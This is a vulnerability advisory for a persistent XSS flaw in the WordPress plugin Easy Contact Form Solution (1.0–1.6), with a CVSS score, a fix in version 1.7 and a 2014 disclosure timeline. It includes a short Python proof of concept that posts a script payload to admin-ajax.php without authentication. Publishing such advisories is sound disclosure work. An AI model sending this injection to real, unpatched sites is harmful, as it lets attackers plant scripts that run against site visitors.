Easy Contact Form Solution 1.0 - 1.6, Persistent XSS

Due to exposing an AJAX function to anonymous users by using the ‘nopriv’ method of adding an AJAX action, anonymous users are able to insert arbitrary HTML / Javascript onto the site globally.

Homepage

https://wordpress.org/plugins/easy-contact-form-solution/

CVSS Score

6.4

CSSS Vector

(AV:N/AC:L/Au:N/C:P/I:P/A:N)

Attack Scope

remote

Authorization Required

None

Mitigation

Update to version 1.7

Proof of Concept

The following Python script will result arbitrary Javascript being executed on page load. Any custom HTML content can be inserted into the ‘value’ field.

import requests
url = 'http://localhost/wp-admin/admin-ajax.php'
payload = {
	"action":"master_response",
	"value":"<script>alert('.')</script>"}
r = requests.post(url, data=payload)

Timeline

  • 2014-09-23: Discovered
  • 2014-09-23: Reported to vendor
  • 2014-09-24: Vendor responded with intent to fix
  • 2014-09-29: Update requested from vendor
  • 2014-09-30: CVE requested
  • 2014-10-02: CVE assigned
  • 2014-10-06: Update requested from vendor
  • 2014-10-10: 1.7 released – issue resolved
  • 2014-10-17: Advisory released